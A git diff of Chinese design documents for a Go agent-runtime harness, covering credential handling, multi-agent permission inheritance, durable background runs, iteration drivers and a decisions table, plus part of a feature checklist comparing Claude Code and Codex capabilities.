这是文档化的契约。实现用官方 MCP Go SDK 管理 client/session。 - **发现的 tool schema 记录为 event**(它们进入 LLM 的 tool 列表, 是影响 run 结果的外部输入);`tools/list_changed` 同理。 - 只有 `McpToolCalled/Returned` 是 activity。spec schema 里保留 `transport: http` + auth 字段,实现(OAuth 流程、凭据存储)推迟。 +- **命名空间与类别**:MCP tool 在 permission rules 里只以全限定名 + `mcp____` 出现,与内置 tool 不可能撞名(server 上报 + 一个叫 `read_file` 的 tool 不会命中内置规则);动态发现的 tool 没有 + 类别标签,一律按最保守的 execute-class 对待(plan 等只读 mode 默认 + 排除),除非 spec 显式为其标注类别。 ### Provider @@ -322,10 +493,20 @@ limits: 自家 API(Gemini 的 context caching / thinking config,Anthropic 的 `cache_control` / extended thinking)。provider 用 `capabilities()` 声明支持哪些能力,请求了不支持的能力时明确降级或报错,而不是静默忽略。 -- **返回归一化**:token 计数(含 cache_read/cache_write)、finish reason、 - tool_use、thinking 块统一成一套内部表示,L2/L3 及记账不感知具体 provider。 -- **凭据只走环境变量**(如 `GEMINI_API_KEY` / `ANTHROPIC_API_KEY`), - provider 实现从环境读取,绝不进 spec、event log 或仓库。 +- **返回归一化**:token 计数(含 cache_read/cache_write)、finish + reason(含异常形态,见 Agent loop)、tool call、thinking 块统一成一套 + 内部表示,L2/L3 及记账不感知具体 provider。 +- **opaque signature 随 event 持久化**:归一化的 assistant part 带一个 + per-provider 的 opaque extras/signature 字段(Gemini 的 + `thoughtSignature`、Anthropic 的 thinking signature),context + assembly 回传时原样携带——丢掉它,Gemini 的多轮工具调用在第二次请求 + 就 400。推论:mid-run 切换 provider 不能带着对方的 signature 历史, + 需在 compaction 边界(摘要天然无 signature)重新开始。 +- **凭据经 `CredentialProvider` 接口解析**:静态环境变量(如 + `GEMINI_API_KEY`)是其一种实现;OAuth/订阅登录的 refresh token 走 + 受管 token store(event log 与 workspace 之外的又一持久位置,0600, + 支持刷新回写)。意图不变:密钥绝不进 spec、event log 或仓库; + tool 输出可能携带 secret,由 L1 的 redaction 兜底。 ### Multi-agent @@ -336,8 +517,17 @@ limits: `description`/输出约定里声明)。 - **审批路由**:child 的 `ask` 沿 correlation id 冒泡到 session 的 frontend——审批的永远是人,不是 parent agent。 -- **权限继承**:child 的有效权限 = child spec ∩ parent 有效权限, - 子 agent 不能越过 parent 的边界。 +- **权限继承拆成两条规则**(mode 没有"交集"运算,不能笼统写 ∩): + (1) **rules 做真交集**——spawn 时由 parent 按当时的有效权限计算, + 冻结成不可变数据传给 child;child 的管线只认这份,child spec 无法 + 放宽,parent 事后的 mode 跃迁也不回溯影响 child。(2) **mode 不交集** + ——child 的 mode 独立,但工具面先经冻结 rules 过滤,mode 跃迁只能在 + 冻结 rules 内移动;child spec 声明 `bypass` 非法。 +- **树级预算与递归上限**:spawn 深度与并发扇出有数据化上限(budget + 关卡校验,超限渲染为 error 结果)——spec 白名单允许 A↔B 成环, + 上限是唯一防线。child 的有效预算 = min(child spec 限额, parent + 剩余额度),沿 correlation 树聚合,与权限冻结同构;parent 的 token + 上限约束的是整棵树,不是单个 stream。 - 可审计性保证是 per-stream 的:每个 agent 的 stream 完整、 causation/correlation 链路完整;跨 actor 的消息交错不保证确定性重现 (见非目标)。 @@ -348,29 +538,112 @@ limits: - session = correlation id + 它名下的 stream 闭包(含子 agent)。 - **list**:枚举 store。**resume**:snapshot + fold(见 L1)。 -- **fork/rewind 只发生在 checkpoint barrier 上**(turn 边界 + 全部子 - agent 静默 + workspace commit 存在):fork 复制 stream 闭包在 barrier - 处的一致切面;rewind = fork + workspace 恢复到对应 commit。 +- **fork/rewind 的唯一合法目标是 `CheckpointBarrier` event**:barrier + 达成时(turn 边界 + 全部子 agent 静默——含 bash 进程组确认退出 + + 所有 worktree 快照完成)落一条 event,记录跨 stream 的一致切面: + {stream → seq} 向量 + snapshot ref 集合。fork = 在新 run id 下复制 + 该切面内的 events,以 `ForkedFrom{run, barrier}` 为创世 event + (原 id 作为 provenance 保留),并从 snapshot 物化**自己的** + worktree——fork 与原 run 不共享目录;rewind = fork 后用户显式切换 + 并放弃原 run。被排除的路径(见 L1)在 fork 里天然缺席。 任意 seq N 处的 fork 不提供——跨 stream 的因果一致切割不值得做。 + (注:barrier 的"全树静默"要求已确认会挡住长活后台任务场景,将在 + S7 按 dogfood 经验弱化为 consistent-enough cut——届时按不变量变更 + 流程修订本节,见 STAGES.md S7。) ### 交互协议 - frontend 是普通 actor:订阅输出 topic,向 run 发输入(journal 后生效)。 - 输出事件流:turn 开始/结束、token delta(ephemeral)、tool call 及其 - permission 判定、`ApprovalRequested`、`TurnDiscarded`。CLI 先做 turn - 粒度渲染,token streaming 是纯增量,协议不变。 + permission 判定、`ApprovalRequested`、`TurnDiscarded`、后台任务进度 + topic。CLI 先做 turn 粒度渲染,token streaming 是纯增量,协议不变。 +- `ApprovalRequested` 携带 `payload_ref` 时,frontend 渲染对应 artifact + ——审批对象是一份版本化文档,不只是 tool call 参数。 - 协议预留(原型不实现):slash command 调用、附件/图片消息类型。 -### 运行形态 +### 运行形态与 background - core 是库。CLI(`agentrunner run "task"`)、headless 单发、 server(HTTP/WS 暴露同一协议)都是薄壳。 +- **run 默认由常驻 runtime 托管**(server 壳 + 本地 socket),CLI 是 + attach/detach 的薄客户端:attach = 从 journal 补读到 seq N + 订阅 + live topic(错过的 token delta 按 doctrine 丢失,组装消息不丢); + detach **不产生任何事件**——订阅状态不影响 run 结果,无事可记。 + `runtime.daemon: never` 时降级为现有 durable park(下次进程启动时 + resume)。 +- **常驻 runtime 也是 durable timer 的触发者**:维护 timer 的派生索引, + 到期 journal `TimerFired` 并发起 resume——timeout/cron/审批过期的 + "等几天成本相同"由它兑现;CLI-only 部署显式降级为"下次 resume 补火"。 +- **优雅停机是定义好的**:SIGTERM → 协作取消全部在飞 activity + (落 `ActivityCancelled`)→ snapshot → 退出——例行 deploy 不产生 + in-doubt。server 形态推荐 **session-per-process** 拓扑(core 是库 + + 文件态持久状态天然支持),单个大 fold 不会饿死其他 session。 +- **notifier 是一个 L4 actor**:订阅 run/driver 生命周期 topic(终态、 + `WAITING_APPROVAL`、`IterationCompleted`…),按 user 层配置的通道发 + 通知;`NotificationSent` 记在自己的 stream 里跨重启去重(启动时与 + store 对账)。通知通道是 surface 机件——与 hooks 同类的**文档化 + carve-out**,不过四关卡,只能来自 user 层配置。 ### Scheduler 与 triggers - scheduler 是发布 `RunAgent` command 的普通 actor;webhook 触发 = - server 壳收到请求后发同一条 command。command 按 Envelope.id 幂等, - 重试不会拉起重复 run。 + server 壳收到请求后发同一条 command。command 幂等(重试不会拉起 + 重复 run)。(S6 修订:v0 无独立 scheduler actor——cadence 在 + driver 内、timer 唤醒在 daemon sweep;daemon 线协议的 run/drive + 提交以 `idem_key` 幂等(daemon 生命周期内),重试返回同一 session + 的流。独立 RunAgent command 家族随 webhook/壳 一并落地。) + +### 运行模式:IterationDriver(one-shot / goal / loop) + +- **goal 和 loop 是同一个 driver actor 的两种 schedule**,one-shot 是 + 最平凡的情形。driver 有自己的 stream 和纯 fold 状态,每轮迭代 spawn + 一个 **fresh child run**(同 spec → prefix 逐字节稳定可跨迭代命中 + 缓存、免 compaction 链、失败迭代不污染后续、迭代边界天然是 barrier + 候选点);driver 自己从不碰 LLM 和 workspace——verifier 是这条线的 + **成文例外(S6 裁定、S7 管线化兑现)**:verifier 是 driver 规格里 + "用户可信配置"声明的效果,**作为 journaled、经管线判定的 effect 执行** + (command = tool_call、llm_judge = llm_call;EffectRequested/Resolved + + ActivityStarted/Completed 入 driver stream——event log 即 trace)。 + 判定的规则层 = user/project 合并规则在前、driver-trust 的兜底 allow + 在后(显式 deny 约束 verifier,未命中即放行——verifier 与 spec + permissions 同信任级);ask 收紧为 deny(配置声明的效果无人应答)。 + 花费计入迭代 usage、verdict journal 进 IterationCompleted。 +- **统一事件族**:`IterationScheduled / Launched / Completed`、 + `DriverCompleted{reason: satisfied|stalled|max_iterations|budget| + stopped|child_failed}`。launch 遵循 journal-before-send;崩溃后的 + 重发幂等由**纯 fold 检查(st.at(n) 已在 journal 则不重发)+ 确定性 + child 目录(sub/iter-N,已终态则从其 fold 结算)**保证(S6 修订: + 等价于原 `Envelope.id = hash(driver_id, n)` 方案,且无需 command + 基础设施)。 +- **Goal mode** = `schedule: immediate` + verifiers 必填。verifier 三态: + `command`(bash-class,exit code / metric regex)、`llm_judge` + (LLM 打分 + rubric + threshold)、`human`(就是现有 ask 路径, + 挂几天免费)。verdict journal 进 `IterationCompleted`; + 停滞检测是纯 fold——分数 patience 轮无改善(或 binary verifier 的 + 失败指纹连续相同)→ stalled,附最佳迭代的 carry。 +- **Best-of-N** = `schedule: parallel{n}`:N 个隔离 worktree 的并行 + 尝试,选择即 human / llm_judge verifier,胜者晋升(fork 或 apply diff)。 +- **Loop mode** = `schedule: interval|cron|self_paced` + verifiers + 选填。self_paced 靠两个数据定义的内置 tool:`schedule_next{after}` + (过管线 → scheduler journal durable timer,min/max 钳位 + + `on_no_intent` 兜底)与 `finish_series`("自称完成"由 human + verifier 把关,不另设 confirm 机制)。`overlap: skip|coalesce| + interrupt`;跳过是 `IterationSkipped` event,不是沉默。 +- **预算与失败策略共享**:driver 是树预算的根,reserve-at-launch / + settle-at-completion;`on_reserve_failure: skip|stop`、 + `on_child_failure: stop|surface|retry{max, backoff}`——对**终态** + 失败 run 的策略性重试不是第二套恢复机制(恢复只关乎崩溃的 run + 找回自身状态,原则 6 不禁止 policy 级重试)。 +- **跨迭代数据两条通道**:carry 文档(child report / verifier 输出 + 摘要)存 `ArtifactStore`,`IterationCompleted` 只带 ref + 短摘录; + series memory 是 workspace 里 agent 自管的文档,注入为 context + assembly 的一层——**权威边界在注入时截断**(tool-gate 拒绝只是 + 引导,bash 旁路条款同样适用)。`barrier_per_iteration` 可选; + snapshot backend 为 `none` 时 `barrier_ref` 缺席,stall 呈现降级为 + carry + verdicts(无 fork 按钮)。 +- **driver 依赖常驻 runtime**:没有它,interval/cron 只在进程活着时 + 触发、human verifier 的审批无人接收——这是文档化的降级模式, + 不是默认。 ### Observability @@ -387,32 +660,39 @@ limits: "activity 结果被记录",不需要确定性 code replay 引擎。 - agent 行为变化体现为 event log 的 diff,review 的是决策序列。 - kernel/L1/L2 普通单测;spec loader 用坏 spec 的错误信息做黄金测试; - in-doubt activity、审批挂起恢复、interrupt 各有专门的崩溃注入测试。 + in-doubt activity、审批挂起恢复、interrupt、异常终止形态 + (空 candidate / malformed function call)各有专门的崩溃注入测试。 ## 已定决策 | # | 决策点 | 选择 | 理由 | |---|--------|------|------| -| 1 | 语言 | Python 3.12+, asyncio | actor 映射到 task + queue;pydantic;MCP + Anthropic SDK 成熟。 | +| 1 | 语言 | Go 1.23+ | goroutine/channel 与 actor/mailbox 天然同构;单静态 binary 跨平台分发;Gemini/Anthropic/MCP 官方 Go SDK 齐备;编译期检查利于迭代。(原选 Python 的论据是 SDK 成熟度,现已不构成差异。) | | 2 | 进程模型 | 单进程,in-memory bus | 原型简单;边界清晰,分布式化是换 transport。 | -| 3 | 持久状态 | 只有 event log 和 workspace 两处;bus/delta ephemeral | durability 语义集中,"什么会丢"一目了然。 | +| 3 | 持久状态 | event log + workspace + 接口后的 ref-addressed blob store(SnapshotStore/ArtifactStore/任务日志共用 CAS 模块);bus/delta ephemeral | fold 永不读 store;event 只引用 ref,blob 先于引用它的 event 落盘;"什么会丢"一目了然。 | | 4 | 输入语义 | 一切外部输入先 journal 成 event 再消费 | 审批/steering 不丢、可审计;bus 才允许 ephemeral。 | | 5 | Durability 模型 | journal + turn 边界 snapshot-resume + 显式等待状态;**不做** Temporal 式 code replay | 同样的用户可见能力(crash 恢复、长审批、fork),~10% 成本;loop 不背确定性纪律。 | -| 6 | Activity 语义 | Started/Completed 双落盘,at-least-once + in-doubt 上浮,协作取消,通用 retry | bash 不幂等、LLM 要花钱,静默重跑不可接受;interrupt 建立在取消上。 | -| 7 | Checkpoint 语义 | 对话 snapshot 是可弃缓存;workspace 快照是一等状态(per-turn git commit),只服务 rewind/fork | 文件系统不可从 log 重建;崩溃恢复不碰文件系统。 | -| 8 | 副作用治理 | 单一 effect pipeline,四关卡,一条 `EffectResolved` event,关卡在记录边界内 | permission/审批/hooks/预算是一个机制;恢复不重放 hook 副作用;日志不被官僚 event 淹没。 | -| 9 | 失败面向模型 | deny/block/失败渲染为 error tool_result,loop 继续;超预算优雅收尾 | API 要求 tool_use↔tool_result 配对;agent 要能对失败自适应。 | -| 10 | Permission modes | mode = 工具面过滤 + prompt 注入 + 跃迁规则(数据) | plan/acceptEdits 是 loop 行为,枚举值表达不了。 | +| 6 | Activity 语义 | Started/Completed 双落盘,at-least-once;in-doubt 按 tool 类别数据化处置(LLM 重发+TurnDiscarded、read/idempotent 重跑、execute/edit 渲染 interrupted 继续、高危显式转人工),协作取消,通用 retry,background 变体 | 崩溃必然砸中 in-flight;headless 不能靠人工 triage;非幂等者不重跑(而非转人工)。 | +| 7 | Checkpoint 语义 | 对话 snapshot 是可弃缓存;workspace 快照是一等状态,走 `SnapshotStore` 接口(event 只引用 opaque ref),默认 shadow-repo backend,只服务 rewind/fork | 文件系统不可从 log 重建;不与 git 耦合;用户 repo 与 agent 的 git 操作零污染。 | +| 8 | 副作用治理 | 单一 effect pipeline,四关卡;判定按持久化时点拆分——`EffectResolved` 落在 `ActivityStarted` 前,post-hook 随 `ActivityCompleted` | permission/审批/hooks/预算是一个机制;恢复不重放 hook 副作用;happy path 仍是单条关卡 event。 | +| 9 | 失败面向模型 | 每个 tool call 必有配对结果(harness call id,assembly 按原顺序重排);error 渲染 per-provider 定义;超预算优雅收尾 | Gemini 按数量+位置严格配对且无 error 标志;agent 要能对失败自适应。 | +| 10 | Permission modes | mode = 工具面过滤(作用于 permitted 面;advertised 面 prefix 内稳定)+ prompt 注入 + 跃迁规则(数据) | plan/acceptEdits 是 loop 行为;mode 切换不得打爆 tools 级缓存。 | | 11 | Hooks | v0 只 observe + block;是管线机件不是 effect | 改写带来顺序/缓存/重放问题,推迟;避免管线递归。 | | 12 | 存储后端 | JSONL per stream,藏在 `EventStore` 接口后 | 可读可 diff;需要时换 SQLite。 | -| 13 | Spec 格式 | YAML → pydantic;tool 定义也是数据 | 声明式、可 review;原则 4 落到 tool 层。 | +| 13 | Spec 格式 | YAML → 强类型 struct + 校验;tool 定义也是数据 | 声明式、可 review;原则 4 落到 tool 层。 | | 14 | 运行形态 | core 是库;CLI/headless/server 是薄壳 | 一套 core 支撑所有 surface。 | | 15 | Provider | 薄接口 + 多 provider(Gemini 主、Anthropic 次),streaming 原生 | 两个实现验证抽象不漏;caching 是经济性前提。 | | 15b | 能力抽象 | caching/thinking 等为 provider 无关的可选 capability,各 provider 映射到自家 API,请求归一化 | 上层不写死某家语义;不支持的能力显式降级/报错而非静默。 | -| 15c | 凭据 | 只从环境变量读(`GEMINI_API_KEY` 等),绝不进 spec/event/仓库 | 密钥永不落盘于受控内容。 | +| 15c | 凭据 | `CredentialProvider` 接口(静态 env / 受管 token store 皆为实现);harness 自身绝不写入 spec/event/仓库;落盘前 redaction;log 0600 | OAuth refresh token 需持久化+回写,"只读 env"表达不了;密钥不进受控内容的意图不变。 | | 16 | Skill 格式 | 沿用 Claude Code 约定 | 生态兼容,不发明格式。 | | 17 | MCP 生命周期 | 带外运行时状态;只有 tool 调用是 activity;发现的 schema 记录为 event | server 状态不可 event 化;schema 是影响结果的输入。 | -| 18 | Event schema 版本化 | 不 migration;`RunStarted` 记版本,不匹配拒绝 resume | 原型 re-run 比 migrate 便宜;失败要响亮不要发散。 | +| 18 | Event schema 版本化 | 不 migration;`RunStarted` 记 event-schema 版本,不匹配拒绝 resume;所有 fold 消费者走 `EventStore` 单一读路径,预留恒等 upcast 阶段 | 原型 re-run 比 migrate 便宜;将来要 migration 时只有一个改动点。 | +| 19 | 信任模型 | 可执行配置(hooks)只认 spec 与 user 层;project 层需显式 trust;memory 文件按不可信内容对待 | clone 不受信 repo 不等于交出任意代码执行权。 | +| 20 | 树级约束 | 权限 rules 在 spawn 时冻结交集下传;预算 = min(child 限额, parent 剩余) 沿树聚合;深度/扇出有上限 | spawn 白名单可成环;树的总成本必须有界。 | +| 21 | 运行模式 | one-shot/goal/loop/best-of-N(`parallel{n}`)是同一 `IterationDriver` 的四种 schedule;每轮迭代 = fresh child run | 避免多套近似驱动机制;fresh run 保 prefix 稳定与故障隔离。 | +| 22 | Background | run 由常驻 runtime 托管,frontend 任意 attach/detach(detach 无事件);后台 effect 的 handle 即其配对结果,完成是新的 user-role 输入 | 订阅状态不影响 run 结果;已配对的 call 不可二次触碰(Gemini 严格配对)。 | +| 23 | Artifacts | `ArtifactStore`(CAS,opaque ref);publish 是过管线的 tool,发布即持久;`outputs:` 在 run 收尾自动 publish;审批载荷 = artifact ref;版本 per-stream | 交付物 contract 与过程协调对象分离;审批需要不可变锚点。 | +| 24 | Run 收尾 | 固定 epilogue:quiesce 后台任务 → auto-publish outputs → 终态 barrier → 终态 event | 多个 feature 都往 run 末尾加步骤,顺序必须唯一定义。 | ## Roadmap @@ -420,20 +700,27 @@ limits: 而不是给玩具 actor 造两个 milestone 的框架: 1. **M1 — Walking skeleton**:最小 spec loader、Gemini provider(凭 - `GEMINI_API_KEY` 从环境读)、朴素 asyncio agent loop、2-3 个内置 tool + `GEMINI_API_KEY` 从环境读)、朴素 agent loop、2-3 个内置 tool (read_file/edit_file/bash)、append-only JSONL event journal (先只记录,不做 source of truth)、最小 CLI。端到端跑通一个真 agent。 provider 接口从第一天按多实现设计,Anthropic 作为第二实现在 M3 context assembly(caching)阶段补上以验证能力抽象不漏。 2. **M2 — Durability + pipeline**:event fold 成为 state 的正源、 turn 边界 snapshot、resume、显式等待状态;effect pipeline 四关卡 + - `EffectResolved`;permission rules + 审批流;budgets; - hooks(observe/block)。崩溃注入测试。 + 拆分落盘的 `EffectResolved`;permission rules(含 bash 命令模式与 + realpath 匹配)+ 审批流;budgets(reserve-then-settle); + hooks(observe/block);凭据 redaction;`SnapshotStore` + (shadow-repo backend,用真实大仓库的延迟基准定快照粒度)。 + 崩溃注入测试。 3. **M3 — 交互与上下文**:streaming 协议、steering/interrupt/协作取消、 并行 tool call、context assembly(拼装、截断、compaction、caching)、 - session list/resume。 + session list/resume、后台 effect(handle 配对 + 完成输入 + + `WAITING_TASKS`)、run 收尾 epilogue。 4. **M4 — 生态接入**:MCP(生命周期 + schema 记录)、skills、 - memory 文件、配置分层(两层)。 + memory 文件、配置分层;`ArtifactStore`(`publish_artifact` + + `outputs:` contract + 审批载荷)。 5. **M5 — Multi-agent + surfaces 收尾**:spawn/await、handoff、 - pub/sub;审批路由与权限继承;scheduler;fork/rewind(barrier 语义); - `inspect` 时间线;server 壳。 + pub/sub;审批路由、权限冻结与树级预算;scheduler; + fork/rewind(`CheckpointBarrier` 语义);`inspect` 时间线; + server 壳(常驻 runtime + attach/detach)+ notifier; + `IterationDriver`(goal / loop)。 diff --git a/FEATURES.md b/FEATURES.md new file mode 100644 index 0000000..53e9537 --- /dev/null +++ b/FEATURES.md @@ -0,0 +1,223 @@ +# Claude Code / Codex 功能点清单(166 项速读版) + +> 本清单是能力审查([CAPABILITY-REVIEW.md](CAPABILITY-REVIEW.md))过程中整理的 +> Claude Code(含 Agent SDK、云端会话)与 OpenAI Codex(CLI/cloud)功能全集, +> 用于快速浏览。每项的完整判定理由见 +> [CAPABILITY-REVIEW-DETAILS.md](CAPABILITY-REVIEW-DETAILS.md)。 +> +> **判定**:✅ clean(现有设计直接覆盖)· 🔧 extension(顺着抽象新增代码即可)· +> ⚠️ friction(需局部修改某条已定决策,已归并进 review 的建议) +> **重要度**:★★★ core(产品没有它就不成立)· ★★ important(日常用到)· ★ nice-to-have + +## 1. Agent loop 核心机制(22 项) + +| 判定 | 功能点 | 说明 | 产品 | 重要度 | +|:--:|---|---|:--:|:--:| +| ✅ | token-level streaming output | token 级流式输出,delta 走总线、组装后消息持久化 | 两家 | ★★★ | +| ✅ | fine-grained tool parameter streaming | tool 调用参数也流式输出 | 两家 | ★★ | +| ✅ | extended thinking budget | 思考预算控制(含 per-message 动态调整) | CC | ★★★ | +| 🔧 | thinking block signature round-trip | thinking 块带 signature 原样回传 API(含 redacted) | CC | ★★★ | +| ✅ | interleaved thinking | 工具调用之间穿插思考块 | CC | ★★ | +| ✅ | parallel tool calls | 一条消息 N 个调用:混合审批、并发执行、乱序完成 | 两家 | ★★★ | +| ✅ | steering | 运行中插话,当前 tool 跑完立即注入 | 两家 | ★★★ | +| ✅ | interrupt (Esc) | 打断流式输出/运行中工具,打断后状态一致 | 两家 | ★★★ | +| ✅ | retry / 429 / 529 / mid-stream recovery | 请求重试、限流处理、断流恢复(TurnDiscarded) | 两家 | ★★★ | +| 🔧 | mid-session model switch (/model) | 中途换模型,含跨 provider 的历史序列化 | 两家 | ★★ | +| ✅ | reasoning effort levels & fast mode | 推理力度档位与 serving 档位切换 | 两家 | ★★ | +| 🔧 | structured output | 强制 JSON schema 输出(子 agent 结果契约依赖) | 两家 | ★★ | +| ✅ | stop reason handling | max_tokens 截断续写、prompt 过长处理 | 两家 | ★★★ | +| ✅ | automatic model fallback | 主模型不可用自动切备用 | CC | ★★ | +| ✅ | token counting & cost accounting | token/成本核算,cache read/write 分口径 | 两家 | ★★★ | +| 🔧 | Codex reasoning summaries & encrypted reasoning | 推理摘要 + 加密推理块(不透明往返) | Codex | ★★★ | +| 🔧 | Codex Responses API stateful conversation | Responses API 有状态对话 | Codex | ★★ | +| ✅ | prompt caching & prefix stability | 缓存断点由 loop 放置、前缀稳定 | 两家 | ★★★ | +| 🔧 | background tool execution | 后台工具执行,完成后异步注入结果 | CC | ★★ | +| 🔧 | mid-turn context injection (system-reminders) | turn 中途注入系统提醒(文件变更、todo 状态) | CC | ★★ | +| 🔧 | server-side tools & pause_turn | provider 侧执行的工具与 pause_turn 处理 | 两家 | ★★ | +| ⚠️ | OAuth/subscription auth | 订阅 OAuth、token 刷新、云凭据链 | 两家 | ★★★ | + +## 2. 上下文管理(23 项) + +| 判定 | 功能点 | 说明 | 产品 | 重要度 | +|:--:|---|---|:--:|:--:| +| ⚠️ | dynamic env block vs prompt cache | 环境块(git 状态/日期)动态性与缓存的矛盾 | 两家 | ★★★ | +| ✅ | system prompt assembly order | system prompt 分段拼装、顺序固定 | 两家 | ★★★ | +| 🔧 | CLAUDE.md hierarchy & imports | 多层级 CLAUDE.md 与 @import 语法 | CC | ★★★ | +| 🔧 | subdir CLAUDE.md on-demand injection | 进入子目录才注入该目录的 CLAUDE.md | CC | ★★ | +| ✅ | AGENTS.md convention | AGENTS.md 约定(Codex 主用,CC 兼容) | 两家 | ★★ | +| ✅ | auto-compaction threshold | 阈值触发自动压缩上下文 | 两家 | ★★★ | +| 🔧 | manual /compact & /clear | 手动压缩(带自定义指示)与清空 | 两家 | ★★ | +| 🔧 | microcompaction / context editing | 只清理旧 tool result 而非整体 summarize | CC | ★★ | +| ✅ | compaction rewind/fork semantics | 跨压缩边界的回退/分叉语义 | CC | ★★ | +| ✅ | tool result truncation & paged read | per-tool 输出截断、大文件分页读取 | 两家 | ★★★ | +| ✅ | prompt cache prefix stability & breakpoints | 缓存断点放置与前缀稳定不变量 | 两家 | ★★★ | +| 🔧 | cache TTL variants (5m/1h) | 两档缓存 TTL 的选择 | CC | ★ | +| 🔧 | mid-session tool list change vs cache | 中途工具列表变更与缓存的相容 | 两家 | ★★ | +| 🔧 | multimodal input & @-file refs | 图片/截图/PDF 输入、@文件引用展开 | 两家 | ★★ | +| 🔧 | long-context 1M window | 1M 上下文窗口(beta 头、计价档) | 两家 | ★ | +| 🔧 | context usage indicator | 上下文余量实时指示 | 两家 | ★★ | +| 🔧 | prompt-too-long auto recovery | prompt 过长时自动压缩重试 | 两家 | ★★ | +| ✅ | history fold across compaction | 跨压缩的会话历史重建(fold 良定义) | 两家 | ★★★ | +| ✅ | Codex AGENTS.md merge & history compression | Codex 的层级合并与历史压缩策略 | Codex | ★★ | +| 🔧 | memory write-back | # 开头快捷写入记忆文件 | CC | ★ | +| 🔧 | thinking block roundtrip in context | 上下文重建时 thinking 块无损往返 | 两家 | ★★ | +| 🔧 | hook output context injection | hook 输出注入上下文(additionalContext) | CC | ★ | +| 🔧 | system-reminder dynamic injection | 消息流内动态注入 system-reminder | CC | ★★ | + +## 3. 工具与 workspace(18 项) + +| 判定 | 功能点 | 说明 | 产品 | 重要度 | +|:--:|---|---|:--:|:--:| +| 🔧 | Read tool | 读文件:文本/分页/图片/PDF/notebook | 两家 | ★★★ | +| ✅ | Edit tool | 唯一匹配约束 + 文件被外部修改后拒编(Codex apply_patch) | 两家 | ★★★ | +| ✅ | Write tool | 写文件 | 两家 | ★★★ | +| ✅ | Glob / Grep | 文件名与内容搜索 | 两家 | ★★★ | +| 🔧 | NotebookEdit | Jupyter notebook 编辑 | CC | ★ | +| ✅ | Bash tool | cwd 跨调用持续、超时、输出截断 | 两家 | ★★★ | +| 🔧 | Background bash | run_in_background + 输出轮询 + kill + 完成唤醒 | CC | ★★ | +| 🔧 | OS sandbox | seccomp/landlock、bubblewrap/sandbox-exec、网络沙箱 | 两家 | ★★★ | +| 🔧 | Sandbox escalation retry | 沙箱内失败后请求出沙箱重试(审批) | Codex | ★★★ | +| 🔧 | Workspace boundary & --add-dir | 路径边界保护、多根目录 | 两家 | ★★ | +| ⚠️ | Checkpoint vs agent/user git ops | checkpoint 机制与 agent/用户自身 git 操作的冲突 | CC | ★★ | +| ⚠️ | Checkpoint on non-git / large repos | 非 git 目录、超大 repo 的 checkpoint | CC | ★★ | +| 🔧 | Worktree isolation | 多 agent worktree 隔离并行改同一 repo | 两家 | ★★ | +| ✅ | WebFetch / WebSearch | 网页抓取与搜索工具 | 两家 | ★★ | +| 🔧 | Plan file / scratchpad | 计划文件、草稿工作区 | 两家 | ★★ | +| ✅ | Rewind granularity | 回退粒度三选一:仅代码/仅对话/两者 | CC | ★★ | +| 🔧 | Fork workspace isolation | fork 出隔离 workspace 并行探索 | CC | ★ | +| 🔧 | Streaming tool output | 工具输出(bash stdout)实时流给前端 | 两家 | ★★ | + +## 4. 权限与 hooks(21 项) + +| 判定 | 功能点 | 说明 | 产品 | 重要度 | +|:--:|---|---|:--:|:--:| +| ✅ | permission modes | default/acceptEdits/plan/bypass 与模式跃迁 | CC | ★★★ | +| ✅ | PreToolUse observe + block | 工具执行前观察/拦截(exit code) | CC | ★★★ | +| 🔧 | permission rule syntax | Bash(git:*)、Edit(src/**)、mcp__x__y、deny>ask>allow | CC | ★★★ | +| 🔧 | five-layer settings | enterprise > CLI > local > project > user 五层设置 | 两家 | ★★ | +| 🔧 | always-allow write-back | "不再询问"写回 settings,运行时即时生效 | CC | ★★ | +| 🔧 | rich approval UI | diff 预览、改写输入后批准、批准并记住 | CC | ★★ | +| ✅ | programmatic/headless approval | canUseTool 回调、非交互兜底 | 两家 | ★★ | +| ✅ | parallel × permission | 已放行调用并发跑,审批挂起不阻塞 | 两家 | ★★ | +| ✅ | subagent permission inheritance | 子 agent 权限交集继承、审批路由到人 | CC | ★★ | +| 🔧 | PreToolUse updatedInput | hook 改写工具输入 | CC | ★★ | +| 🔧 | PreToolUse permissionDecision | hook 直接返回 allow/deny 短路审批 | CC | ★★ | +| 🔧 | PostToolUse feedback | 工具执行后给模型附加反馈 | CC | ★★ | +| ⚠️ | hook durability & EffectResolved timing | hook 执行结果的持久化时序(崩溃窗口) | CC | ★★ | +| ⚠️ | UserPromptSubmit hook | 用户输入侧 hook:注入上下文/拦截 | CC | ★★ | +| ⚠️ | Stop / SubagentStop hook | 拒绝停止、强制 loop 继续干活 | CC | ★★ | +| 🔧 | SessionStart / SessionEnd hooks | 会话生命周期 hook | CC | ★★ | +| ✅ | PreCompact hook | 压缩前 hook | CC | ★ | +| 🔧 | Notification hook | 通知类 hook | CC | ★ | +| 🔧 | hook timeout / parallel / async | hook 超时、并行执行、异步 hook | CC | ★★ | +| 🔧 | hook merging | 多层配置与 plugin 的 hook 合并 | CC | ★★ | +| ⚠️ | Codex approval policy | untrusted/on-failure/on-request/never + 沙箱升级审批 | Codex | ★★★ | + +## 5. 多 agent(18 项) + +| 判定 | 功能点 | 说明 | 产品 | 重要度 | +|:--:|---|---|:--:|:--:| +| ✅ | declarative subagent definition | markdown+frontmatter 声明式子 agent(tools/model/effort) | 两家 | ★★★ | +| ✅ | SDK programmatic agent definition | SDK 程序化定义 agent | 两家 | ★★ | +| ✅ | spawn/await fan-out | 扇出子 agent 并等待 | 两家 | ★★★ | +| 🔧 | background subagents notify-wake | 后台子 agent,完成后通知唤醒父 | CC | ★★ | +| 🔧 | resume child conversation | 续接已存在的子 agent 对话(SendMessage) | CC | ★★ | +| 🔧 | agent teams | peer 间直接通信、共享任务列表 | CC | ★★ | +| ✅ | handoff | 移交控制权后父退出 | Codex | ★★ | +| ✅ | approval bubbling & permission intersection | 审批冒泡到前端、权限交集继承 | 两家 | ★★★ | +| 🔧 | nesting depth & concurrency limits | 嵌套深度、并发上限 | 两家 | ★★ | +| 🔧 | shared token budget pool | 跨子 agent 共享 token 预算池 | 两家 | ★★ | +| 🔧 | per-agent worktree isolation | 每个子 agent 独立 worktree | 两家 | ★★ | +| 🔧 | structured result contract | 子 agent 结果的 JSON schema 强制 | 两家 | ★★ | +| ⚠️ | deterministic workflow orchestration | 确定性编排脚本(fan-out/pipeline 由代码驱动) | 两家 | ★★ | +| ✅ | subagent transcript observability | 子 agent transcript、父子 correlation 链 | 两家 | ★★ | +| ✅ | cascading cancellation | 父被打断时整棵子树级联取消 | 两家 | ★★★ | +| ⚠️ | multi-agent session fork/rewind | 